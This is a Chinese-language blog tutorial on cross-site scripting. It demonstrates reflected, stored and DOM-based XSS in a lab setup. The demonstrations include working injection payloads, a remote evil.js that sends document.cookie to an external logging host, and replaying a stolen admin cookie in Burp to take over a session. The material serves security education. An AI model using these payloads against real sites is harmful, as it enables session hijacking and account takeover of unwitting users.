Web安全攻防入门系列 | 跨站脚本攻击和防范技巧 | 只看这一篇文章就够了

本文详细介绍了跨站脚本攻击(XSS)的基本概念、分类(反射型、存储型和DOM型XSS)、攻击技巧以及防御策略,包括HttpOnly、输入和输出检查。同时,探讨了XSS攻击平台如BeEF的使用,强调了DOM Based XSS的特殊性及其防御方法,旨在帮助读者全面理解XSS并掌握防护技巧。
摘要由CSDN通过智能技术生成

前言

跨站脚本攻击(XSS)是客户端安全的头号大敌,OWASP TOP 10多次把xss列在榜首。

一、XSS简述

XSS攻击是指黑客通过“HTML注入”篡改网页,插入恶意的脚本,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。

1.1 什么是XSS

假设一个用户输入的参数直接输出到页面上**(本章全程使用phpStudy进行环境部署)**

<?php
$input = $_GET["test"];
echo "<div>".$input."</div>";
?>

访问此php界面,想test参数提交数据,页面会展示提交的数据内容

http://192.168.163.131/test.php?test=ceshi

请在此添加图片描述

上面我们可以看到和我们猜想的一样。

如果我们提交的数据改为一段js代码

http://192.168.163.131/test.php?test=<script>alert(/test!!!/)</script>
2023年最新的网络安全 | 入门学习笔记,需要的小伙伴可以关注公众号:麒麟改bug自取!

请在此添加图片描述

我们看到script脚本被执行,我们在看一下源代码

请在此添加图片描述

<div><script>alert(/test!!!/)</script></div>

script脚本被加载到页面中,这显然是有问题的。

1.2 XSS分类

XSS根据效果可以分为三类:

反射型XSS

我们上面的例子就是反射型的xss,就是把用户输入的数据“反射”给浏览器,也就是说,用户在访问恶意链接时,才能攻击成功,反射型xss也叫做非持久性xss。

存储型XSS

存储型xss会把用户输入的数据存储在服务器端,这种sxx具备很强的稳定性,常见的场景就是,黑客写下一篇包含恶意js脚本的博客,其他用户浏览包含恶意js脚本的博客,会在他们浏览器上执行这段恶意代码。包含恶意js脚本的博客是保存在服务端的,所以这种xss攻击叫做“存储型xss"

DOM XSS

这类XSS非按照数据是否保存在服务的来划分的,DOM XSS与反射性XSS、存储型XSS的主要区别在于DOM XSS的XSS代码不需要服务端解析响应的直接参与,触发XSS的是浏览器端的DOM解析。

1.3 DOM XSS漏洞演示

通过修改页面的DOM节点形成的xss,称之为DOM XSS

看如下代码

<script>

function test(){
   
	var str = document.getElementById("test").value;
	document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>";
}
</script>

<div id="t" ></div>
<input type="text" id="test" value="" />
<input type="button" id="s" value="write" onclick="test()" />

请在此添加图片描述

点击wirte会有一个超链接,其地址为文本框的内容。

这里的wirte按钮的onclick事件调用了test()函数。而在test()函数。而在test()函数中,修改了页面的DOM节点,通过innerHTML把一段用户数据当作html写入到页面中,这就造成了DOM based XSS。

构造如下数据

' onclick=alert(/xss/) //

输入之后界面代码局变成了

<a href='' onclick=alert(/xss/) //' >testLink</a>

首先用一个单引号闭合掉href的第一个单引号,然后插入一个onclick事件,最后用注释符“//”注释掉单引号。点击新生连接,脚本将被执行。

请在此添加图片描述

实际上,这里还有另外一种利用方式,除了构造一个新事件外,还可以选择闭合掉标签,并插入一个新的HTML标签。尝试如下输入

'><img src=# οnerrοr=alert(/xss1/) /><'

页面代码变成了

<a href=''><img src=# onerror=alert(/xss1/) /><'' >testLink</a>

脚本被执行

请在此添加图片描述

二、XSS攻击进阶

2.1 初探XSS Payload

XSS攻击成功后,攻击者能过对用户当前浏览的页面进行植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些以完成各种功能的恶意脚本,被称为“XSS Payload”

XSS Payload实际上就是javascript(flash或其他富客户端的脚本),所以在任何JavaScript脚本能实现的功能,xxs payload都能做到。

2.1.1 Cookie 劫持

cookie中一般加密保存了当前用户的登录凭证。攻击者如果获取cookie就可以不通过密码登录平台

攻击者加载一个远程脚本

http://192.168.114.130/admin.php?time=1"><script src=http://192.168.163.128/evil.js></script>

真正xxs payload写在这个远程脚本中,避免直接在url中写入大量的javascript代码

evil.js文件

var img = document.createElement("img");
img.src = "http://192.168.163.143/log?" +escape(document.cookie);
document.body.appendChild(img);

这段是插入一个看不到的图片,同时把document.cookie对象当作参数发送到远程服务器。,实际上http://192.168.163.143/log不用存在,因为这个请求会在远程服务器上的web日志中记录

tail -f /var/log/apache2/access.log

2.1.2 cookie登录

首先管理员用户登录cms测试平台

请在此添加图片描述

F12在控制台输入

document.cookie

登录test用户,使用burp拦截请求包,将cookie修改为admin用户的cookie

请在此添加图片描述

放开拦截,我们发现test变为admin用户

请在此添加图片描述

所以xss攻击,可以完成cookie劫持攻击。我们一般通过在cookie中增加httponly标识可以防止cookie劫持。

2.2 强大的XSS Payload

ciooke劫持并非所有时候都有效,有的网站可能会在set-cookie时给关键cookie植入HttpOnly标识;有些网站可能会把cookie与客户端IP绑定。从而是的xss窃取cookie失去意义。

尽管如此,在xss攻击成功后,攻击者仍然有许多方式能控制用户的浏览器

1、构造GET与POST请求

2、使用XSS钓鱼,模拟一个登录窗口等。

3、识别用户浏览器

我们可以通过xss收集一些用户个人信息,实现精准的浏览器内存攻击,最终实现给电脑注入一个木马。

navigator.userAgent

请在此添加图片描述

OS版本信息:Windows NT 6.1; Win64; x64
浏览器版本:Chrome 101.0.4951.64

但是这个useragent信息是可以伪造的,所以通过javascript取出来的这个信息不一定正确。

4、识别用户安装的软件

知道用户的浏览器、操作系统后,进一步识别用户安装的软件。

5、CSS History Hack

其原理市利用style的visited属性,如果用户曾经访问某个连接,那么这个链接的颜色会变得与众不同。

<body>
	<a href=# > 曾经访问过的 </a>
	<a href="notexist">未曾访问过的</a>
</body>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值